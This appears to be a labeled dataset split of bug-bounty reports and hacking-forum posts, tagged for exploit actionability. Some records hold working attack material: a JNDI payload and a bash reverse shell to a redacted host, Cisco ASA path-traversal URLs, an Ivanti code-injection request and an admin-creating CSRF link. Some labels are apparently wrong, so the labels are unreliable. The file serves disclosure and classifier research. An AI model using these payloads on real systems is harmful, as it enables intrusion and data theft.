-{"id": "8b1416032608cb6fb796", "text": "[Information Exposure Through Debug Information] Information disclosure through django debug mode\n\n## Summary:\nYour domain https://szezvzorilla.mtn.co.sz was disclosing information throught django debug mode enable.\n\n## Steps To Reproduce:\nVisit https://szezvzorilla.mtn.co.sz/NON_EXISTING_PATH/\nYou will the information of debugging\n\n\n## Supporting Material/References:\n{F1555934}\n  * [attachment / reference]\n\n## Impact\n\nInformation disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "01ec083130b73292be8a", "text": "[Cross-Site Request Forgery (CSRF)] CSRF vulnerability in Nextcloud Desktop Client 3.6.1 on Windows when clicking malicious link\n\n## Summary\nIt is possible to make a user send any POST request with an arbitrary body given they click on a malicious deep link. (e.g. in an email, chat link, etc)\n\nThis vulnerability was introduced in an attempt to fix #1720043. The patch however can be bypassed and also introduced a CSRF vulnerability.\n\n## Steps To Reproduce:\nThe following reproduction steps send a OCS API request to the `/ocs/v1.php/cloud/users` endpoint with the following post body: `path=/.\\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&email=mail@example.com&groups[]=admin&\\..\\.owncloudsync.log`. If the victim is not an administrator, one would need to target another controller.\n\n  1. Open the following deeplink on a Windows machine with the Nextcloud Desktop Client installed. Make sure to adjust the victim username and instance URL: `nc://open/admin@pentest.cloud.wtf/.\\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&email=mail@example.com&groups[]=admin&\\..\\.owncloudsync.log?token=../../../../../../../ocs/v1.php/cloud/users`\n  1. Verify that a user called \"hacker\" is created on the instance and added to the admin group.\n\n## Root cause\n\nThe attempt to fix #1720043 was done with https://github.com/nextcloud/desktop/pull/5055 and introduced the [following code](https://github.com/nextcloud/desktop/blob/2f6b56748a4f6a4097a1e11c147d4fd71db993d4/src/gui/folderman.cpp#L1498-L1500):\n\n```cpp\n    const auto checkTokenForEditLocally = new SimpleApiJob(accountFound->account(), QStringLiteral(\"/ocs/v2.php/apps/files/api/v1/openlocaleditor/%1\").arg(token));\n    checkTokenForEditLocally->setVerb(SimpleApiJob::Verb::Post);\n    checkTokenForEditLocally->setBody(QByteArray{\"path=/\"}.append(relPath.toUtf8()));\n```\n\nThere are two vulnerabilities here that can be chained together:\n\n-  **Token is not encoded**:`token` is concatenated directly into the URL and not properly encoded. Passing a `token` such like `?token=../../../../../../../ocs/v1.php/cloud/users` will make the request therefore go to `/ocs/v2.php/apps/files/api/v1/openlocaleditor/../../../../../../../ocs/v1.php/cloud/users` which means `/ocs/v1.php/cloud/users`.\n- **Relative file path is not encoded**: `relPath` is concatenated directly into the POST body and not properly encoded. Passing a path such as `.\\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&email=mail@example.com&groups[]=admin&\\..\\.owncloudsync.log` will therefore create several request POST parameters. (Note: `./owncloudsync.log` is a default file which I use here to ensure the file exists check earlier in the code works)\n\n## Supporting Material/References:\n\n- Screenshot of the request: F1992646\n- Screenshot of the created user: F1992654\n\n\n## Disclosure Policy\nPlease note that all bugs reported by [Authentick GmbH](https://www.authentick.net/) will be publicly disclosed within 90 days of vendor notification. In extraordinary cases we may increase that upon request by the vendor.\n\n## Impact\n\nIt is possible to make a user send any POST request with an arbitrary body given they click on a malicious deep link. (e.g. in an email, chat link, etc)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e78ec04d13f6a9c9c0d2", "text": "[Improper Access Control - Generic] LDAP anonymous access enabled at certrep.pki.state.gov:389\n\n## Summary:\nHi us-department-of-state Security Team.\n\nI have found that this subdomain certrep.pki.state.gov Is vulnerable LDAP Anonymous access enabled as you can see in the following screenshots:-\n\n██████████\n\n███████\n\n████████\n\n## Steps To Reproduce:\n1. Run nmap -n -Pn --script \"ldap* and not brute\" certrep.pki.state.gov\n2. You can use ldapadmin tool as showing above at screenshots.\n\n## Supporting Material/References:\n- https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap\n- https://hackerone.com/reports/205908\n\nPlease let me know if need more info.\nBest Regards.\n@doosec101\n\n## Impact\n\nImproper access to LDAP with anonymous login.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "139932f6be517ae82c83", "text": "[Cross-site Scripting (XSS) - Generic] Possible XSS vulnerability without a content security bypass\n\n## Summary:\nHi security team members,\n\nHope you are well and doing great :)\n\nI found a **Possible XSS vulnerability in https://dashboard.stripe.com but I was not able to bypass a content security policy.**\n\nAlthough, I don't have much knowledge about CSP and its bypasses. But, I read that you accept the XSS without a content security bypass. So, I'm reporting this to you.\n> Please note that we do accept and reward submissions for valid cross-site scripting vulnerabilities even if they are not accompanied by a bypass of our content security policy. Cross-site scripting vulnerabilities without a content security bypass will be assessed at a lower severity level than those with a bypass.\n\n## Description:\nThis occurs when you create a `custom link` with the `javascript://%0aalert(1)` through a [stripe app](https://marketplace.stripe.com/apps/custom-links). And, It gives a **CSP refused executing error** on clicking the custom link.\n\n## Steps To Reproduce:\n1. Install this `Custom Link` app:- https://marketplace.stripe.com/apps/custom-links\n2. Now, Go to your products and then create a `Custom Link` with this `javascript://%0aalert(1)` as a link\n{F2076228}\n\n3. Then, Once you click on the custom link that you just created. It will doesn't execute because of CSP.\n{F2076226}\n4. You can verify this by opening your `Console`.\n\n## Video POC:\n{F2076227}\n\n## Impact\n\nIf an attacker is able to bypass CSP then there is a possible XSS vulnerability in https://dashboard.stripe.com,.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8823ae1033c2f8ecc509", "text": "the challenge says: We are given the IP address of an online academy but have no further information about their website. As the first step of conducting a Penetration Testing engagement, we have to determine whether any weak credentials are used across the website and other login services. Look beyond just default/common passwords. Use the skills learned in this module to gather information about employees we identified to create custom wordlists to attack their accounts. Attack the web application and submit two flags using the skills we covered in the module sections and submit them to complete this module. How will I know that they talk about Harry Potter, is that I have a crystal ball, These reots should improve the context,I know it’s about Harry because I’ve read it on the forum but I don’t know when it would have occurred to me that it was about Howards Academy", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "309d92d44a9de0d7053e", "text": "Just looked through the code and it looks like there’s a really cool story behind this tool  I hope to see a more compliant post with a general dev walkthrough about it sometime!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "567f0be793d13779989f", "text": "[Improper Authentication - Generic] Broken access control\n\n## Summary:\nhello ups team ,,,\nI've found broken access control vulnerability in your sites \nIt allows me to access the admin panel of the support team, and I can view all requests within the site\n\nvulnerable domains:**connectnb.ups.com**\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. go to **connectnb.ups.com** \n  2. go to **https://connectnb.ups.com/Layout/forgotPassword** ,put any email address and intercept the request\n  \n```\nPOST /api/Account/SendTempPassword/?userName=admin@admin.com HTTP/2\nHost: connectnb.ups.com\nCookie: __RequestVerificationToken=ZSZXAd3wrj6GSWF1seZAIWIUPQiK4spv-xbaxR_3HxFgJnaSGKr7xXlb9iHYEUQVloknAoTtK5DmWtjdP7yVT7MQ6Z2JW3d5kK2qoxDAbas1\nContent-Length: 0\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nAccept: application/json, text/plain, */*\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36\nSec-Ch-Ua-Platform: \"Linux\"\nOrigin: https://connectnb.ups.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,ar;q=0.7\n\n\n```\n  3.On the burp site, intercept the response for this request and change this value to \nThen change the **\"status\"** value of this request from false to true\n\n##response:\n\n```\nHTTP/2 200 OK\nCache-Control: no-cache,no-cache,no-store\nPragma: no-cache,no-cache\nContent-Type: application/json; charset=utf-8\nExpires: -1\nServer: \nX-Content-Type-Options: nosniff\nX-Xss-Protection: 1; mode=block\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains;preload\nX-Frame-Options: DENY\nX-Ua-Compatible: IE=Edge\nContent-Security-Policy: script-src 'self'; object-src 'self'; frame-ancestors 'none'\nExpect-Ct: enforce, max-age=7776000, report-uri='https://connectnb.ups.com/'\nAccess-Control-Allow-Headers: Accept, Content-Type, Origin\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS\nDate: Wed, 13 Apr 2022 05:09:59 GMT\nContent-Length: 89\n\n{\"status\":true,\"errorMessage\":\"Username does not exist. Please enter correct Username.\"}\n```\n\n  4. After that, go to this path  **/resetPassword** You will notice that this page has been opened without problems\n\n{F1690903}\n\nGo to user or report and you will notice that it opens normally and you can fully control it\n\nI made a video of the vulnerability that you can watch\n\n##video POC:\n\n{F1690906}\n\n## Impact\n\nThe attacker can hack the admin control panel and view and modify all reports", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d5c2628e2d26c42cc166", "text": "[Path Traversal] [CVE-2020-3452] Unauthenticated file read in Cisco ASA\n\ni found out that https://█████/ was vulnerable to CVE-2020-3452\n\nThe IP has a SSL certificate pointing to ██████████\ncurl -kv https://███████/\n\nOutput;\n```\nServer certificate:\n███\n```\n\n## Impact\n\nAnyone can read any file present on the server.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\nYou can test it by visiting the URL:\n1. https://█████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n2. https://█████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3452"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ffb6571de665d6781aa0", "text": "[Improper Removal of Sensitive Information Before Storage or Transfer] the complete server installation path is visible in cloud/user endpoint\n\nhttps://github.com/nextcloud/server/issues/33883\n\n\nWhen doing a GET request on `/ocs/v1.php/cloud/user?format=json` the server returns user data, including one containing the full local server path:\n\n```\n            \"storageLocation\": \"/home/bohwaz/www/tmp/nextcloud/data/bohwaz\",\n```\n\nThis is not a big security issue (as you need to be logged-in to get that response), but this is data that an attacker shouldn't be able to know easily.\n\nThis happens on a brand new install after using the web installer.\n\n## Impact\n\nSensitive internal info", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "88c4a93b0739c64ab301", "text": "[Information Disclosure] An attacker can can view any hacker email via  /SaveCollaboratorsMutation operation name\n\n**Summary:**\n\nAn attacker can view any attacker or normal user email after send invitation via dummy report , disclose their private email.\n \n**Description:**\n\n### Steps To Reproduce\n\n1 - Create a dummy report and send it\n2 - Add a hacker that you want to disclose his email  , Max is only 2 invites per report\n3 - send the invite after sending the invite the hacker will be pending status until accept the report .\n4- Go the pen on the right for adding more collaborator and click on the pen and capture traffic , you will see the user email in first request,\neven that the user not accept the invitation yet  \n\nHTTP Request : \n```\nPOST /graphql HTTP/2\nHost: hackerone.com\n\n[sinp]\n\n{\"operationName\":\"SaveCollaboratorsMutation\",\"variables\":{\"input\":{\"report_id\":2032701,\"collaborators\":[{\"username_or_email\":\"testmealways\",\"bounty_weight\":0.9989999999999999},{\"username_or_email\":\"███████\",\"bounty_weight\":0.9989999999999999},{\"username_or_email\":\"███████\",\"bounty_weight\":0.9989999999999999}]},\"product_area\":\"collaboration\",\"product_feature\":\"save_collaborators\"},\"query\":\"mutation SaveCollaboratorsMutation($input: SaveCollaboratorsMutationInput!) {\\n  saveCollaborators(input: $input) {\\n    was_successful\\n    errors {\\n      edges {\\n        node {\\n          message\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n\n````\n\nExample :\n\nHere is email for todayisnew , Hacker 1 rank in H1 :\n\n```\n████████\n\n```\n\n\nVideo PoC :\n\n████████\n\n## Impact\n\nAn attacker can view any user's email registered with Hackerone as hacker .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b5679a1920e087dac4fc", "text": "I figured it out) Brought it to full screen and saw an icon in the lower right corner. It was not displayed in normal mode.( HTB Academy 277×174 38.6 KB That’s just through pwnbox, the error is the same as on my VM, unfortunately. What am I doing wrong? The advice was to run the script on pwnbox. strangely error_HTB Academy 758×387 143 KB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fb3f33f4a214a49b03e9", "text": "[SQL Injection] SQL injextion via vulnerable doctrine/dbal version\n\n## Summary:\nSQL injection via limit parameter on user facing APIs\n\n## Steps To Reproduce:\nRun security scanner:\n\n  1. REPORT /remote.php/dav/comments/files/1985\n  1. XML input oc:filter-comments.oc:limit#text was set to 1'\"\n  1. You have an error in your SQL syntax\n\n## Supporting Material/References:\nFor more details see:\nhttps://github.com/nextcloud-gmbh/h1/issues/197\n\n## Impact\n\nFull flexed SQL injection via user provided input", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "edb750155b19ffa863c8", "text": "[Uncontrolled Resource Consumption] Possible DOS in app with crashing `exceptions_app`\n\nMake a new Rails app, add the `lograge` gem.\n\n```ruby\n# config/application.rb\nconfig.exceptions_app = self.routes\nconfig.lograge.enabled = true\n```\n\n```ruby\n# config/routes.rb\n\nRails.application.routes.draw do\n  root to: \"site#index\"\n\n  get 'errors/not_found'\n  match \"/404\", to: \"errors#not_found\", via: :all\nend\n```\n\n```ruby\n# app/controllers/errors_controller.rb\n\nclass ErrorsController < ApplicationController\n  def not_found\n    render status: 404 # the view can do whatever, it doesn't matter\n  end\nend\n```\n\nStart the server as a production app (eg. it would start on Heroku): `RAILS_ENV=production RACK_ENV=production SECRET_KEY_BASE=foo RAILS_SERVE_STATIC_FILES=enabled RAILS_MAX_THREADS=2 RAILS_LOG_TO_STDOUT=enabled rails s`\n\nRun this script:\n\n```ruby\n1000.times.each do |n|\n  `curl -H \"Accept: application/xml\" -H \"Content-Type: application/xml\" -X GET http://localhost:3000///wp1/wp-includes/wlwmanifest.xml`\nend\n```\n\nAt some point (after 989 requests for me), Puma will crash:\n\n```\n2021-08-11 13:23:04 -0500 Rack app (\"GET ///wp1/wp-includes/wlwmanifest.xml\" - (127.0.0.1)): #<fatal: machine stack overflow in critical region>\n```\n\nSince it's a fatal Ruby error (which is unrecoverable) this leaves Puma in a zombie state, similar to https://github.com/puma/puma/issues/2552\n\nThe reason this crashes is:\n\n- [ActionDispatch::ShowExceptions](https://github.com/rails/rails/blob/main/actionpack/lib/action_dispatch/middleware/show_exceptions.rb#L55) returns a non-frozen const.\n- [lograge](https://github.com/roidrage/lograge/blob/master/lib/lograge/rails_ext/rack/logger.rb#L15) doesn't wrap this response in a `Rack::BodyProxy`. If you weren't using lograge, then Rails would do so [here](https://github.com/rails/rails/blob/main/railties/lib/rails/rack/logger.rb#L37). Before realising this could be a Rails security vulnerability, I made a PR for this here: https://github.com/roidrage/lograge/pull/333\n- [RequestStore](https://github.com/steveklabnik/request_store/blob/master/lib/request_store/middleware.rb#L21) mutates the response body. This causes the const in Rails to get mutated, it now is a `Rack::BodyProxy` with a reference to itself. Every time it gets returned, it gets mutated again and the object gets one layer bigger.  Before realising this could be a Rails security vulnerability, I made a PR for the mutation here: https://github.com/steveklabnik/request_store/pull/78\n- Eventually, we have an extremely large `Rack::BodyProxy` that references itself hundreds of times in memory. This is easy to make crash. In our case, [Rack::Sendfile](https://github.com/rack/rack/blob/master/lib/rack/sendfile.rb#L113) causes a `SystemStackError`, I think this happens because of how `BodyProxy` handles `respond_to_missing?`.\n\nI don't think this issue is unique to `lograge` + `RequestStore`. It can happen anywhere you have:\n\n- A middleware that mutates a response, and\n- `FAILSAFE_RESPONSE` (or another non-frozen const) being passed to that middleware, and\n- Something higher in the middleware stack that calls a missing method on the response.\n\nI was about to make a PR to Rails with this patch when it dawned on me that this could be a security issue:\n\n```diff\ndiff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb\nindex 0a7e895e59..d207765acc 100644\n--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb\n+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb\n@@ -14,13 +14,14 @@ module ActionDispatch\n   # If the application returns a \"X-Cascade\" pass response, this middleware\n   # will send an empty response as result with the correct status code.\n   # If any exception happens inside the exceptions app, this middleware\n-  # catches the exceptions and returns a FAILSAFE_RESPONSE.\n+  # catches the exceptions and returns a failsafe response.\n   class ShowExceptions\n     FAILSAFE_RESPONSE = [500, { \"Content-Type\" => \"text/plain\" },\n       [\"500 Internal Server Error\\", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fcb3bb13d6644ed780a4", "text": "I thought the ${LS_COLORS:10:1} would come from the printenv command and would assume the ; caracter. I have reached the injection point, i can already see the whoami and ls o’u’t’pu’ts but i cant cat the file.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4191b505d4fcb59d63e6", "text": "[Path Traversal] CVE-2020-3452 on  https://█████/\n\nHello team,\nI hope you're doing well, healthy & wealthy.\n\nI found a CVE-2020-3452 path traversal and here is the explanation.\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\n## References\n\n    - https://twitter.com/aboul3la/status/1286012324722155525\n    - http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html\n    - http://packetstormsecurity.com/files/158647/Cisco-Adaptive-Security-Appliance-Software-9.11-Local-File-Inclusion.html\n    - http://packetstormsecurity.com/files/159523/Cisco-ASA-FTD-9.6.4.42-Path-Traversal.html\n    - http://packetstormsecurity.com/files/160497/Cisco-ASA-9.14.1.10-FTD-6.6.0.1-Path-Traversal.html\n    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n## Impact\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\n ** classification:**\n-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n-    cvss-score: 7.50\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\nCisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\nPlease do this GET request below.\n\n- https://████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\nSecond attack type:\n\n- https://██████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n\nYou can see the file can be downloaded.\n\n## Suggested Mitigation/Remediation Actions\nPlease upgrade to the latest version of the software.\n\nBest regards.\n@pirneci", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3452"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bec1b53c02727646a2a5", "text": "[Code Injection] Server Side Template Injection on Name parameter during Sign Up process\n\n## Summary:\nServer-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. \nIn this scenario, when an attacker signs up on the platform and uses a payload in the **First Name** field, the payload is rendered server side and it gets executed in the promotional/welcome emails sent to the user\n\n## Steps To Reproduce:\nStep 1: Navigate to [Glovoapp] (https://www.glovoapp.com/kg/en/bishkek/) and click on **Register**\nStep 2: Now, in the ```First Name``` field, enter the value ```{{7*7}}```\n\n{F1197322}\n\n\nStep 3: Fill in the rest of the values on the Register page and register your account.\n\n{F1197320}\n\n\nStep 4: We have used the payload ```{{7*7}}``` here to verify that it is being evaluated at the backend\nStep 5: Now, wait for the welcome/promotional email to arrive in your Inbox\nStep 6: Notice that the email arrives with the Subject as ```49, welcome to Glovo!```\n\n{F1197321}\n\n\nStep 7: The attacker can now further exploit this issue by injecting malicious payloads in the Name field and gathering sensitive information from the application.\n\n\nNote- After carrying out this attack, I didn't receive any welcome email for my other account maybe because the code broke.\n\n## Impact\n\nTemplate engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, which can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "309908af3145898ef411", "text": "[Deserialization of Untrusted Data] Kafka Connect RCE via connector SASL  JAAS JndiLoginModule configuration\n\n## Summary:\nWhen configuring the connector via the Aiven API or the Kafka Connect REST API, the attacker can set the `database.history.producer.sasl.jaas.config` connector property for the `io.debezium.connector.mysql.MySqlConnector` connector. This is likely true for other debezium connectors too.  By setting the connector value to `\"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://attacker_server\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";\"`, the server will connect to the attacker's LDAP server and it deserializes the LDAP response, which the attacker can use to execute java deserialization gadget chains on the kafka connect server.\n\n## Steps To Reproduce:\n██████\n\n  1. Login into my VPS:  `ssh ███████`, password: `█████`\n  1. Execute `java -jar RogueJndi-1.1.jar --hostname ███ -c \"bash -c bash\\${IFS}-i\\${IFS}>&/dev/tcp/███/4445<&1\"`\n  1. Execute `nc -nlvp 4445` on another tab\n  1. Execute `python3 poc.py` on another table. This poc script launches the exploit against my Aiven kafka connect instance.\n  1. Reverse shell connection should now be established\n\n\n## The gadget chain\n\nThe exploit uses `System.setProperty` gadget chain in the scala standard library to enable unsafe deserialization of apache commons collections transformers (finding this gadget chain took way too much time...). This payload has been designed for the Scala version 2.13.6. It may fail on other scala versions. Then the script executes the reverse shell setup command using the [CommonsCollections7](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java) payload.\n\n## Impact\n\nAttacker can execute commands on the server and access other resources on the network.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c285e2e4702de7a4f6ee", "text": "Regarding global rank\n\nhey, i completed 2 machines in hackthebox and owned them and also completed 1 or 2 challanges why my global ranking is not increasing? its still 0", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1d618106d104e1f6325a", "text": "[Improper Authentication - Generic] Bypass For #997350 your-store.myshopify.com preview link is leak on third party website Via Online Store\n\nHi Security Team,\n\n#Description\nFull Description in #997350 \n\n\nThe owner of that website can perform a security compromise by grabbing those links.\n\n#Solution:\nThe solution is very very SIMPLE. Just include the following HTML code in the following in code between <head> tags of the html of the page: <meta name=\"referrer\" content=\"never\" />\nThis will not send referrer headers to third party websites.\n\n#Reproduction Instructions /\n1)Open your Store & add  social media Links.\n2)Click  F1045363. \n3)Now turn burp suite intercept on and click on Click on any social media link(on follow us section). Check for the requests having the Link in Referrer as third party website. And copy the Link.\n4)Now turn intercept off and Open Link.(with that token) in other tab,browser or PC.\n5)Now you you sucesfully catch/preview all action in your-store.myshopify.com from store owner without store password.\n\n>Preview all action/Login\n\n#Proof of Concept\nF1045355\nF1045356\nF1045357\nF1045358\nF1045359\nF1045360\n\n#Additional Information:\nNote also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.\n\n## Impact\n\nAs you can see in the Referrer preview Link is getting leaked to third party sites. So, the person who has the complete control over that particular third party site can Use the Link to preview all action in your-store.myshopify.com from store owner without store password.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "401dd6e922aadb1e0e8d", "text": "[Code Injection] [███████] Remote Code Execution at ██████ [CVE-2021-44529] [HtUS]\n\n**IP Address used to find vulnerability:**\n\n `██████`\n\n**Vulnerable Website URL or Application:** \n\n`https://████`\n\n`pomcldsvr2.████`\n\n\n\n**Proof of ownership:**\n\n███\n\n\n\n**Summary:**\n\nThe server at `https://███` is running a vulnerable version of CSA.\n\nA code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).\n\n**Steps to Reproduce:**\n\nUse Burp Repeater to send the following GET requests:\n\n*Please note that for the system commands to run, they need to be Base64 encoded. For example, for phpinfo, pass cGhwaW5mbygpOw==*\n\n- For phpinfo()\n\n  ````\n  GET /client/index.php HTTP/1.1\n  Host: ███████\n  User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\n  Connection: close\n  Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;\n  Accept-Encoding: gzip, deflate\n  \n  \n  ````\n\n**Screenshots:**\n\n█████████\n\n█████████\n\n██████\n\n█████\n\n██████\n\n**References:**\n\n- https://nvd.nist.gov/vuln/detail/CVE-2021-44529\n- https://forums.ivanti.com/s/article/SA-2021-12-02\n\n## Impact\n\n**Impact:**\nRemote attackers can execute arbitrary commands on the server, and compromise company and user data.\n\n**CVSS Score: Critical**\n\n**Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-44529"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "607804b5ea1b2cd4e8a0", "text": "Can anyone write to me privately please. I have a question about the optional task and would like to understand it. I have all 5 flags, for info.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
